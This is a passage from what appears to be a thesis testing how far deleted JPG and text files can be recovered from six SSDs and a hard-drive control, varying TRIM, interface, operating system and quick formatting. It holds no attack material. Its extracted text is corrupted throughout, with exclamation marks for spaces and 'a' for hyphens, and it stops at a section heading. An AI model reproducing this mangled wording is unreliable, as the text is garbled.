Previous!work!has!shown!that!the!operating!system!in!use!can!have!a!significant!impact!on!the! operation!of!a!solid!state!drive,!especially!if!SSDaspecific!ATA!commands!such!as!TRIM!are!implemented.!! To!ensure!that!this!property!was!investigated,!operating!systems!that!support!and!allow!TRIM!to!be! turned!on!and!off!(such!as!Windows!7)!were!used,!as!well!as!legacy!nonaTRIM!supporting!operating! systems!(such!as!Windows!XP).!!All!analysis!was!performed!using!open!source!or!freelyaavailable!tools.!! The!majority!of!the!investigation!was!performed!using!data!acquisition!and!file!carving!capabilities!built! in!to!the!Caine!Forensics!Linux!distribution.!!When!determining!which!tools!to!use!for!each!experiment,! simplified!approaches!were!preferred!in!order!to!minimize!the!number!of!potential!variables.! A!dedicated!laptop!was!used!for!creating!all!of!the!“evidence”!drives!used!for!all!of!the!tests.!!All!of! these!drives!were!used!as!secondary!drives!in!this!machine;!the!operating!system!was!run!on!a!different! drive.!!This!was!done!to!allow!maximum!control!of!any!data!or!file!operation!on!the!drives!being! researched,!and!also!to!reduce!the!likelihood!of!any!background!operating!system!behavior!resulting!in! corrupted!data.!!!! A!dedicated!desktop!was!used!for!all!of!the!data!acquisition.!All!drive!images!were!made!using!a! commercial!write!blocker!device,!ensuring!that!all!data!collection!was!conducted!in!a!forensically!sound! manner.!!After!initial!analysis,!drive!images!were!compressed!and!stored!on!an!external!drive!for!any! follow!up!research!that!would!be!necessary.!!To!prepare!each!drive!for!subsequent!tests,!an!ATA!Secure! Erase!command!was!issued!to!the!drive.!!When!properly!implemented,!this!command!resets!the!drive!to! factory!defaults!and!completely!wipes!clean!all!dataabearing!storage!regions!of!the!drive.!!! Kopchak! ! 33! Quantitative!methods!were!generally!used!to!analyze!the!hard!data!generated!as!part!of!the! research!experiments!described!above.!!!Tests!were!designed!to!generate!information!about!the!viability! of!forensically!recovering!deleted!files!on!an!SSD.!!!The!primary!contribution!of!this!research!is!the! generation!of!detailed!discussions!regarding!the!results!and!their!underlying!forensics!implications.!!! When!evaluating!the!overall!practicality!of!forensics!approaches!using!SSDs,!the!outcomes!of! the!tests!were!synthesized!with!the!results!of!the!research.!!Some!of!these!conclusions!tended!to!be! qualitative!in!nature,!and!will!be!presented!as!a!discussion!of!the!major!areas!of!concern!with!respect!to! SSD!security.!!A!compilation!of!best!practices!for!handling!and!working!with!the!evidence!contained!and! stored!on!the!drives!will!also!be!included!at!the!conclusion!of!this!paper.! ! & Kopchak! ! 34! Materials& The!experiments!associated!with!this!research!were!performed!across!a!pool!of!six!solid!state!drives.!! A!seventh!drive,!which!is!a!traditional!magnetic!device,!was!used!as!a!control!for!all!tests.!!Due!to!a! failure!of!one!of!the!solid!state!drives!in!the!test!pool,!some!of!the!later!tests!were!conducted!across!five! drives,!with!the!sixth!being!the!control.!!The!CrystalDiskInfo!utility!was!used!to!capture!the!firmware! revision!and!version!information!for!each!of!these!drives.! Control:&Seagate&ST98013ASG,&80GB,&7200&RPM& The!control!drive!is!a!standard!Seagate!laptop!hard!drive,!with!a!capacity!of!80!GB!and!a!rotational! speed!of!7200!RPM.!!This!drive!represents!a!typical!laptop!hard!drive!that!might!be!replaced!with!a! similarly!sized!solid!state!drive.!!The!behavior!of!this!drive!in!a!forensics!investigation!should!model!the! expected!behavior!of!the!overwhelming!majority!of!traditional!hard!drives.!! The!firmware!on!this!drive!was!not!upgraded!and!represents!the!code!originally!shipped!when!the! drive!was!new.!! ! Figure'1:'Seagate'Drive'Disk'Info' Kopchak! ! 35! SSD&#1:&Intel&SSD&320,&120GB& The!Intel!SSD!320!contains!the!same!controller!as!previous!Intel!SSDs,!but!is!running!improved! firmware.!!One!of!the!unique!features!of!this!controller!is!native!encryption,!where!all!of!the!data!is! committed!to!flash!encrypted!using!AESa128.!!According!to!the!manufacturer,!this!allows!for!secure! erase!operations!to!be!performed!simply!by!changing!the!encryption!key.!!The!controller!in!the!Intel!SSD! 320!offers!TRIM!support.! The!firmware!revision!in!this!SSD!(4PC10362)!was!released!to!address!a!significant!bug!that! presented!the!drive!capacity!as!8!megabytes!(MB)!and!prevented!any!data!on!the!drive!from!being! accessed!or!modified!(Frosty).!! ! Figure'2:'Intel'SSD'Info' ' ' Kopchak! ! 36! SSD&#2:&Crucial&M4,&128GB& The!Crucial!M4!SSD!uses!a!Marvell!88SS9174aBLD2!controller,!running!firmware!written!by!Crucial.!! It!is!considered!an!evolution!of!the!controller!used!in!previous!generation!Crucial!SSDs,!with!an! improved!firmware!revision.!!The!controller!in!the!Crucial!M4!SSD!offers!TRIM!support.!! ' Figure'3:'Crucial'SSD'Info' SSD&#3:&Patriot&Pyro&SE,&128GB& The!Patriot!SSD!uses!a!SandForce!SFa2281!controller.!!This!SandForce!controller!implements!some! data!management!techniques!that!are!unique,!including!the!analysis!and!deduplication!of!incoming!data! prior!to!it!being!written!to!flash.!!This!controller!is!used!by!a!number!of!solid!state!drive!manufacturers! in!various!SSD!models.!!The!drive!tested!was!running!3.3.2!firmware,!which!was!the!latest!available! when!the!test!drive!was!produced.!!Subsequent!firmware!versions!have!been!released!since!the!tests! were!performed!that!include!release!notes!indicating!that!the!TRIM!behavior!for!this!controller!has!been! modified!and!improved!(Vättö).!! Kopchak! ! 37! ' Figure'4:'Patriot'SSD'Info' SSD&#4:&Samsung&830,&128GB& The!Samsung!830!SSD!uses!a!multiacore!ARM!based!controller.!!There!is!not!much!information! publicly!available!about!its!operation!other!than!it!is!a!multiacore!design!(a!total!of!three!cores)!and! based!on!the!ARM!architecture!(Shimpi).!!!However,!the!type!of!processing!done!by!each!core!in!this! controller!is!unknown.!!!The!Samsung!SSD!supports!the!TRIM!command.! Kopchak! ! 38! ! Figure'5:'Samsung'SSD'Info' ! SSD&#5:&OCZ&Agility&3,&60GB& The!OCZ!Agility!3!SSD!is!similar!to!the!Patriot!Pyro!SE!SSD!in!that!it!also!uses!the!SandForce!2281! controller,!but!contains!half!the!usable!flash!memory!as!the!Patriot!drive.!!This!drive!was!included!in!the! pool!of!sample!drives!to!determine!if!consistent!behavior!is!seen!across!different!manufacturers’!drives! using!the!same!controllers.!!This!drive!suffered!a!failure!during!the!timed!deletion!tests!and! consequently!was!not!used!for!several!of!the!final!experiments.! Note:'no'info'screenshot'is'available'for'this'SSD'due'to'drive'failure' ! ! Kopchak! ! 39! SSD&#6:&SuperTalent&MasterDrive,&64GB& This!SSD!is!unique!that!it!consists!of!a!parallel!ATA!(PATA)!flash!drive!which!interfaces!to!the!system! using!a!SATA!to!PATA!bridge!chip.!!This!drive!represents!one!of!the!earliest!generations!of!solid!state! drives!and!was!manufactured!well!before!the!other!drives!in!the!test!pool.!!The!presence!of!the!SATA!to! PATA!bridge!chip!precludes!the!sending!of!any!native!SATA!control!commands,!such!as!the!TRIM! command,!to!the!drive,!which!also!does!not!support!the!TRIM!command.! ! Figure'6:'SuperTalent'SSD'Info! ! & Kopchak! ! 40! Forensics&Lab&Configuration& The!forensics!lab!used!for!these!tests!consisted!of!two!separate!computers!–!one!for!evidence! creation!and!the!second!for!evidence!acquisition!and!analysis.!!This!allowed!for!the!complete!isolation!of! these!tasks.! The!evidence!generation!machine!was!a!Dell!Latitude!E6500!laptop.!!For!the!majority!of!the!tests,! this!machine!was!configured!to!run!Windows!7!Professional!64abit.!!A!small!sampling!of!the!tests!was! performed!using!a!Windows!XP!32abit!installation!to!represent!an!operating!system!without!TRIM! support.!!This!machine!has!both!eSATA!and!USB!interfaces,!which!allowed!for!the!operating!system!and! the!SATA!bus!of!the!laptop!to!interact!directly!with!the!controller!on!the!drives!tested.!!Direct!SATA! access!is!required!for!native!ATA!commands!such!as!TRIM!to!function!as!designed.!!USB!connections! were!used!for!some!tests!to!block!TRIM!functionality!by!means!of!the!drive’s!interface.!! For!all!tests,!the!drive!being!analyzed!was!independent!of!the!boot!drive!containing!the!evidence! generation!machine’s!operating!system.!!This!was!done!to!limit!the!write!and!access!activity!to!the!drive! being!investigated!to!only!the!tests!being!performed!if!at!all!possible.!!This!research,!which!consists!of! executing!and!analyzing!a!series!of!repeated,!minute!changes,!would!be!significantly!more!difficult!to! analyze!and!more!likely!to!produce!ambiguous!results!had!the!test!drives!also!been!running!the! operating!system.!!! The!data!acquisition!machine!was!a!HP!DC7700!desktop!running!the!Caine!2.0!forensics!distribution,! which!is!based!on!Ubuntu!12.04.!!Any!acquisition!was!conducted!using!a!Diskology!Disk!Jockey!Pro! Forensic!writeablocker,!which!requires!the!use!of!a!USB!2.0!connection!for!writeablocking!functionality.!! All!images!were!stored!on!an!external!3TB!USB!hard!drive!for!analysis!and!longaterm!storage.!!All!drive! images!were!compressed!after!analysis!for!future!reference.! Kopchak! ! 41! The!Caine!distribution!provides!several!builtain!forensics!tools!which!were!used!for!the!data! acquisition!and!analysis!portions!of!this!research.!!The!primary!image!creation/acquisition!tool!was! Guymager,!which!is!included!in!the!Caine!interface.!!Recovery!of!deleted!files!and!file!carving!was! performed!using!Selective!File!Dumper!(SFDUMPER).!!Disk!images!were!compressed!after!analysis!using! the!Linux!tar!binary.!!! ! & Kopchak! ! 42! Experiments& ! The!following!sections!will!provide!an!overview!of!each!test!that!was!performed,!the!intent!of! each!test,!and!a!summary!of!the!results!of!these!tests.!!All!tests!consisted!of!two!parts!–!a!file!deletion! test!and!a!subsequent!quick!format!test.!!! Test&1,&Part&1&–&Text&File&Deletion& Procedure& All!drives!were!formatted!to!their!full!capacity!and!connected!to!the!evidence!creation!machine!via! eSATA.!!A!single!text!file!was!created!on!the!drive!with!one!line!of!text:!“Test!File”.!!Once!this!file!was! copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!file!was!written!to!disk.!!Then,!the! disk!was!reamounted!and!the!file!was!deleted.!!The!drive!was!immediately!unmounted!and!connected!to! the!write!blocker!on!the!evidence!collection!machine!and!imaged.!!The!image!was!then!investigated!to! determine!if!the!text!was!recoverable.! Results& The!text!file!was!recoverable!on!all!drives.! ! & Kopchak! ! 43! Test&1,&Part&2&–&Text&File&Deletion&–&Quick&Format& Procedure& ! Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation! machine!via!eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the! forensic!writeablocker.!!The!Unix!“strings”!command!was!run!across!the!image!to!determine!if!the!text! from!the!text!file!was!still!recoverable.! Results& The!text!string!was!recoverable!from!the!control!hard!drive!and!the!Patriot!SSD.!!All!other!solidastate! drives!did!not!have!the!text!string.! Test&2& Due!to!a!numbering!error,!test!2!was!omitted.!!To!avoid!confusion,!all!tests!will!be!referenced!using! their!originally!assigned!numbers.!! & & Kopchak! ! 44! Test&3,&Part&1&–&Single&JPG&File& Procedure& ! A!single!JPG!file!was!saved!to!each!drive!using!the!evidence!creation!machine!via!eSATA.!!The! evidence!machine!was!running!Windows!7!with!the!TRIM!command!enabled!in!the!operating!system! (this!is!the!Windows!7!default).!!Once!this!file!was!copied!to!each!drive,!the!drive!was!unmounted!to! ensure!that!the!file!was!written!to!disk.!!Then,!the!disk!was!reamounted!and!the!file!was!deleted.!!The! drive!was!immediately!unmounted!and!connected!to!the!write!blocker!on!the!evidence!collection! machine!and!imaged.!!The!image!was!then!investigated!to!determine!if!the!image!file!was!recoverable.! Results& The!file!was!recoverable!on!the!control!hard!drive.!!It!was!not!recoverable!on!all!of!the!SSDs.!!A!list! of!the!peradrive!results!follows:! • Seagate!HD!–!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!recoverable!! • Patriot!SSD!–!recoverable!! • Samsung!SSD!–!partially!recoverable!(parts!of!file!missing)! • SuperTalent!SSD!–!recoverable!(with!file!carving)! & ! Kopchak! ! 45! Test&3,&Part&2&–&Single&JPG&File,&Quick&Format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation! machine!via!eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the! forensic!writeablocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!the!image!was!still! recoverable.! Results& The!quick!format!did!not!change!the!results!of!the!part!1!of!this!test.!!All!drives!with!recoverable!or! partially!recoverable!image!files!remained!in!the!same!state!after!the!quick!format.!!Drives!with! irrecoverable!image!files!continued!to!be!irrecoverable.!A!list!of!the!peradrive!results!follows:! • Seagate!HD!–!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!partially!recoverable!(parts!of!file!missing)! • SuperTalent!SSD!–!recoverable!(with!file!carving)! ! & Kopchak! ! 46! Test&4,&Part&1&–&Single&JPG&File,&TRIM&disabled& Procedure& ! A!single!JPG!file!was!saved!to!each!drive!using!the!evidence!creation!machine!via!eSATA.!!The! evidence!machine!was!running!Windows!7!with!the!TRIM!command!disabled!in!the!operating!system.!! Once!this!file!was!copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!file!was!written!to! disk.!!Then,!the!disk!was!reamounted!and!the!file!was!deleted.!!The!drive!was!immediately!unmounted! and!connected!to!the!write!blocker!on!the!evidence!collection!machine!and!imaged.!!The!image!was! then!investigated!to!determine!if!the!image!file!was!recoverable.! Results& The!file!was!ultimately!recoverable!on!all!of!the!drives.!!Only!the!Intel!SSD!required!additional!file! carving!to!recover!the!image!file.!!A!list!of!the!peradrive!results!follows:! • Seagate!HD!–!recoverable! • Crucial!SSD!–!recoverable! • Intel!SSD!–!recoverable!(with!file!carving)! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!recoverable! • SuperTalent!SSD!–!recoverable! & ! Kopchak! ! 47! Test&4,&Part&2&–&Single&JPG&File,&TRIM&Disabled,&Quick&Format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation! machine!via!eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the! forensic!writeablocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!the!image!was!still! recoverable.! Results& The!quick!format!resulted!in!the!image!becoming!irrecoverable!on!several!of!the!SSDs.!!The!image!was! recoverable!from!two!of!the!SSDs!and!the!control!hard!drive!using!file!carving.!!A!list!of!the!peradrive! results!follows:! • Seagate!HD!–!recoverable!(with!file!carving)! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!recoverable!(with!file!carving)! • Patriot!SSD!–!recoverable!(with!file!carving)! • Samsung!SSD!–!not!recoverable! • SuperTalent!SSD!–!recoverable! ! & Kopchak! ! 48! Test&5,&Part&1&–&Single&JPG&File,&TRIM&enabled,&SSD&connected&via&USB& Procedure& ! A!single!JPG!file!was!saved!to!each!drive!using!the!evidence!creation!machine!via!USB.!!The! evidence!machine!was!running!Windows!7!with!the!TRIM!command!enabled!in!the!operating!system.!! Since!TRIM!is!a!native!ATA/SATA!command,!this!test!was!designed!to!explore!the!behavior!of!these! drives!when!using!an!interface!that!does!not!support!these!native!commands.!!Once!this!file!was!copied! to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!file!was!written!to!disk.!!Then,!the!disk!was! reamounted!and!the!file!was!deleted.!!The!drive!was!immediately!unmounted!and!connected!to!the! write!blocker!on!the!evidence!collection!machine!and!imaged.!!The!image!was!then!investigated!to! determine!if!the!image!file!was!recoverable.! Results& The!file!was!ultimately!recoverable!on!all!of!the!drives.!!Only!the!SuperTalent!SSD!required! additional!file!carving!to!recover!the!image!file.!!A!list!of!the!peradrive!results!follows:! • Seagate!HD!–!recoverable!! • Crucial!SSD!–!recoverable!! • Intel!SSD!–!recoverable!! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!recoverable! • SuperTalent!SSD!–!recoverable!(with!file!carving)! & ! Kopchak! ! 49! Test&5,&Part&2&–&Single&JPG&File,&TRIM&enabled,&SSD&connected&via&USB,&Quick& Format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation! machine!via!USB.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the! forensic!writeablocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!the!image!was!still! recoverable.! Results& The!image!was!recoverable!with!file!carving!on!all!drives!with!the!exception!of!the!Crucial!SSD.!!A!list!of! the!peradrive!results!follows:! • Seagate!HD!–!recoverable!(with!file!carving)! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!recoverable!(with!file!carving)! • OCZ!SSD!–!recoverable!(with!file!carving)! • Patriot!SSD!–!recoverable!(with!file!carving)! • Samsung!SSD!–!recoverable!(with!file!carving)! • SuperTalent!SSD!–!recoverable!(with!file!carving)! ! ! & Kopchak! ! 50! Test&6,&Part&1&–&Single&JPG&File,&Windows&XP& Procedure& ! A!single!JPG!file!was!saved!to!each!drive!using!the!evidence!creation!machine!via!eSATA.!!The! evidence!machine!was!running!Windows!XP,!which!does!not!offer!TRIM!support!in!the!operating! system.!!Once!this!file!was!copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!file!was! written!to!disk.!!Then,!the!disk!was!reamounted!and!the!file!was!deleted.!!The!drive!was!immediately! unmounted!and!connected!to!the!write!blocker!on!the!evidence!collection!machine!and!imaged.!!The! image!was!then!investigated!to!determine!if!the!image!file!was!recoverable.! Results& The!results!were!identical!to!the!previous!test!on!Windows!7!with!TRIM!disabled:!the!file!was! ultimately!recoverable!on!all!of!the!drives.!!A!list!of!the!peradrive!results!follows:! • Seagate!HD!–!recoverable! • Crucial!SSD!–!recoverable! • Intel!SSD!–!recoverable! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!recoverable! • SuperTalent!SSD!–!recoverable! & ! Kopchak! ! 51! Test&6,&Part&2&–&Single&JPG&File,&Windows&XP,&quick&format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation! machine!via!eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the! forensic!writeablocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!the!image!was!still! recoverable.! Results& The!image!was!recoverable!with!file!carving!on!all!drives.!!A!list!of!the!peradrive!results!follows:! • Seagate!HD!–!recoverable!(with!file!carving)! • Crucial!SSD!–!recoverable!(with!file!carving)! • Intel!SSD!–!recoverable!(with!file!carving)! • OCZ!SSD!–!recoverable!(with!file!carving)! • Patriot!SSD!–!recoverable!(with!file!carving)! • Samsung!SSD!–!recoverable!(with!file!carving)! • SuperTalent!SSD!–!recoverable!(with!file!carving)! ! & Kopchak! ! 52! Test&7,&Part&1&–&Two&JPG&Files,&one&deleted& Procedure& ! Two!different!JPG!files!were!saved!to!each!drive!using!the!evidence!creation!machine!via!eSATA.!! The!evidence!machine!was!running!Windows!7,!with!TRIM!support!enabled.!!Once!these!files!were! copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!files!were!written!to!disk.!!Then,!the! disk!was!reamounted!and!a!single!file!was!deleted,!leaving!the!second!file!untouched.!!The!drive!was! immediately!unmounted!and!connected!to!the!write!blocker!on!the!evidence!collection!machine!and! imaged.!!The!image!was!then!investigated!to!determine!if!the!deleted!image!file!was!recoverable.! Results& The!image!was!completely!recoverable!on!only!half!of!the!SSDs.!!!!Both!the!Crucial!and!Intel!SSD! performed!garbage!collection,!rendering!the!deleted!file!unrecoverable.!!The!file!on!the!Samsung!SSD! was!partially!recoverable!using!file!carving!but!damaged!so!that!a!significant!portion!of!the!file!was! corrupt/missing.! • Seagate!HD!–!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!partially!recoverable!–!file!is!damaged! • SuperTalent!SSD!–!recoverable! ! & Kopchak! ! 53! Test&7,&Part&2&–&Two&JPG&Files,&one&deleted,&quick&format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation!machine!via! eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the!forensic!writea blocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!either!of!the!image!files!were!still! recoverable.! Results& After!the!quick!format,!both!files!were!unrecoverable!on!the!SSDs!where!the!deleted!file!was! unrecoverable!or!damaged!during!the!previous!test!(Crucial,!Intel,!Samsung).!!Both!files!were! recoverable!from!the!other!SSDs!and!the!control!hard!drive.! • Seagate!HD!–!both!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!both!recoverable! • Patriot!SSD!–!both!recoverable! • Samsung!SSD!–!not!recoverable! • SuperTalent!SSD!–!both!recoverable! ! & Kopchak! ! 54! Test&8,&Part&1&–&Two&JPG&Files,&8&MB&partition,&one&deleted& Procedure& ! A!single!8!MB!partition!was!created!on!each!drive,!which!was!the!smallest!possible!partition!that! Windows!7!would!create!on!these!drives.!!Two!JPG!files!were!saved!to!each!drive!using!the!evidence! creation!machine!via!eSATA.!!The!evidence!machine!was!running!Windows!7,!with!TRIM!support! enabled.!!Once!these!files!were!copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!files! were!written!to!disk.!!Then,!the!disk!was!reamounted!and!a!single!file!was!deleted,!leaving!the!second! file!untouched.!!The!drive!was!immediately!unmounted!and!connected!to!the!write!blocker!on!the! evidence!collection!machine!and!imaged.!!The!image!was!then!investigated!to!determine!if!the!deleted! image!file!was!recoverable.! Results& The!results!were!identical!to!the!previous!two!file!test.!!The!image!was!completely!recoverable!on!only! half!of!the!SSDs.!!!!Both!the!Crucial!and!Intel!SSD!performed!garbage!collection,!rendering!the!deleted! file!unrecoverable.!!The!file!on!the!Samsung!SSD!was!partially!recoverable!using!file!carving!but! damaged!so!that!a!significant!portion!of!the!file!was!corrupt/missing.! • Seagate!HD!–!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!partially!recoverable!–!file!is!damaged! • SuperTalent!SSD!–!recoverable! Kopchak! ! 55! Test&8,&Part&2&–&Two&JPG&Files,&8&MB&partition,&one&deleted,&quick&format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation!machine!via! eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the!forensic!writea blocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!either!of!the!image!files!were!still! recoverable.! Results& The!results!were!identical!to!the!quick!format!part!of!the!previous!twoafile!test.!!After!the!quick!format,! both!files!were!unrecoverable!on!the!SSDs!where!the!deleted!file!was!unrecoverable!or!damaged!during! the!previous!test!(Crucial,!Intel,!Samsung).!!Both!files!were!recoverable!from!the!other!SSDs!and!the! control!hard!drive.! • Seagate!HD!–!both!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!both!recoverable! • Patriot!SSD!–!both!recoverable! • Samsung!SSD!–!not!recoverable! • SuperTalent!SSD!–!both!recoverable! ! & Kopchak! ! 56! Test&9,&Part&1&–&Two&identical&JPG&Files,&one&deleted& Procedure& ! Two!identical!JPG!files!were!saved!to!each!drive!using!the!evidence!creation!machine!via!eSATA.!! The!evidence!machine!was!running!Windows!7,!with!TRIM!support!enabled.!!Once!these!files!were! copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!files!were!written!to!disk.!!Then,!the! disk!was!reamounted!and!a!single!file!was!deleted,!leaving!the!second!file!untouched.!!The!drive!was! immediately!unmounted!and!connected!to!the!write!blocker!on!the!evidence!collection!machine!and! imaged.!!The!image!was!then!investigated!to!determine!if!the!deleted!image!file!was!recoverable.! Results& The!image!was!completely!recoverable!on!only!half!of!the!SSDs.!!!!Both!the!Crucial!and!Intel!SSD! performed!garbage!collection,!rendering!the!deleted!file!unrecoverable.!!The!file!on!the!Samsung!SSD! was!partially!recoverable!using!file!carving!but!damaged!so!that!a!significant!portion!of!the!file!was! corrupt/missing.! • Seagate!HD!–!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!recoverable! • Patriot!SSD!–!recoverable! • Samsung!SSD!–!partially!recoverable!–!file!is!damaged! • SuperTalent!SSD!–!recoverable! ! & Kopchak! ! 57! Test&9,&Part&2&–&Two&identical&JPG&Files,&one&deleted,&quick&format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation!machine!via! eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the!forensic!writea blocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!either!of!the!image!files!was!still! recoverable.! Results& After!the!quick!format,!both!files!were!unrecoverable!on!the!SSDs!where!the!deleted!file!was! unrecoverable!or!damaged!during!the!previous!test!(Crucial,!Intel,!Samsung).!!Both!files!were! recoverable!from!the!other!SSDs!and!the!control!hard!drive.! • Seagate!HD!–!both!recoverable! • Crucial!SSD!–!not!recoverable! • Intel!SSD!–!not!recoverable! • OCZ!SSD!–!both!recoverable! • Patriot!SSD!–!both!recoverable! • Samsung!SSD!–!not!recoverable! • SuperTalent!SSD!–!both!recoverable! ! ! & Kopchak! ! 58! Test&10,&Part&1&–&60&numbered&JPG&Files,&one&deleted&per&minute&over&an& hour& Procedure& ! This!was!the!first!of!several!tests!designed!to!observe!the!behavior!of!solid!state!drives!as!files! are!deleted!over!a!period!of!time.!!To!begin,!sixty!numbered!JPG!files!were!created,!each!from!the! identical!base!image!with!a!sequential!number!superimposed!on!the!upper!left!corner!of!each!image.!! The!filenames!of!each!file!corresponded!to!the!number!in!the!image.!!A!simple!PowerShell!script!was! created!to!delete!one!image!at!a!time!sequentially!every!minute!over!the!course!of!an!hour.!!All!JPG!files! were!saved!to!each!drive!using!the!evidence!creation!machine!via!eSATA.!!The!evidence!machine!was! running!Windows!7,!with!TRIM!support!enabled.!!Once!these!files!were!copied!to!each!drive,!the!drive! was!unmounted!to!ensure!that!the!files!were!written!to!disk.!!Then,!the!disk!was!reamounted!and!the! script!was!executed,!allowing!each!image!file!to!be!deleted.!!Once!the!script!completed!execution,!the! drive!was!immediately!unmounted!and!connected!to!the!write!blocker!on!the!evidence!collection! machine!and!imaged.!!The!drive!image!was!then!investigated!to!determine!which!deleted!image!files! were!recoverable.! Results& The!images!were!completely!recoverable!on!only!half!of!the!SSDs.!!!!Both!the!Crucial!and!Intel!SSDs! performed!garbage!collection,!rendering!all!of!the!deleted!files!unrecoverable.!!Most!of!the!files!on!the! Samsung!SSD!were!not!recoverable,!but!a!few!of!the!files!were!partially!recoverable!using!file!carving! but!damaged!so!that!a!significant!portion!of!each!file!was!corrupt/missing.! • Seagate!HD!–!all!recoverable! • Crucial!SSD!–!none!recoverable! • Intel!SSD!–!none!recoverable! Kopchak! ! 59! • OCZ!SSD!–!all!recoverable! • Patriot!SSD!–!all!recoverable!but!#1! • Samsung!SSD!–!only!six!files!were!partially!recoverable!(damaged!files),!the!rest!were! unrecoverable! • SuperTalent!SSD!–!all!recoverable! ! & Kopchak! ! 60! Test&10,&Part&2&–&60&numbered&JPG&Files,&one&deleted&per&minute&over&an& hour,&quick&format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation!machine!via! eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the!forensic!writea blocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!any!of!the!image!files!were!still! recoverable.! Results& After!the!quick!format,!all!files!were!unrecoverable!on!the!SSDs!where!the!deleted!file!was! unrecoverable!or!damaged!during!the!previous!test!(Crucial,!Intel,!Samsung).!!With!the!exception!of!a! single!file!on!the!SuperTalent!SSD,!all!files!were!recoverable!from!the!other!SSDs!and!the!control!hard! drive.! • Seagate!HD!–!all!recoverable! • Crucial!SSD!–!none!recoverable! • Intel!SSD!–!none!recoverable! • OCZ!SSD!–!all!recoverable! • Patriot!SSD!–!all!recoverable! • Samsung!SSD!–!none!recoverable! • SuperTalent!SSD!–!all!files!but!#37!were!recoverable! ! & Kopchak! ! 61! Test&11,&Part&1&–&60&numbered&JPG&Files,&one&deleted&per&minute&over&an& hour,&TRIM&Disabled& Procedure& ! This!was!the!second!of!several!tests!designed!to!observe!the!behavior!of!solid!state!drives!as! files!are!deleted!over!a!period!of!time.!!This!test!was!identical!to!the!previous,!with!the!exception!that! TRIM!was!disabled!in!the!operating!system.!!The!same!PowerShell!script!was!used!to!delete!one!image! at!a!time!sequentially!every!minute!over!the!course!of!an!hour.!!All!JPG!files!were!saved!to!each!drive! using!the!evidence!creation!machine!via!eSATA.!!!Once!these!files!were!copied!to!each!drive,!the!drive! was!unmounted!to!ensure!that!the!files!were!written!to!disk.!!Then,!the!disk!was!reamounted!and!the! script!was!executed,!allowing!each!image!file!to!be!deleted.!!Once!the!script!completed!execution,!the! drive!was!immediately!unmounted!and!connected!to!the!write!blocker!on!the!evidence!collection! machine!and!imaged.!!The!image!was!then!investigated!to!determine!which!deleted!image!files!were! recoverable.! Results& The!image!was!completely!recoverable!on!all!of!the!SSDs.!!!!The!results!of!these!tests!demonstrate!the! importance!of!the!TRIM!command!with!respect!to!automatic!garbageacollection.! • Seagate!HD!–!all!files!were!recoverable,!#1!required!file!carving! • Crucial!SSD!–!all!recoverable! • Intel!SSD!–!all!recoverable! • OCZ!SSD!–!Drive!failed,!unable!to!complete!test! • Patriot!SSD!–!all!files!were!recoverable,!#1!required!file!carving! • Samsung!SSD!–!all!recoverable! • SuperTalent!SSD!–!all!files!were!recoverable,!1a6!required!file!carving,!7a60!normally! Kopchak! ! 62! Test&11,&Part&2&–&60&numbered&JPG&Files,&one&deleted&per&minute&over&an& hour,&TRIM&Disabled,&quick&format& Procedure& 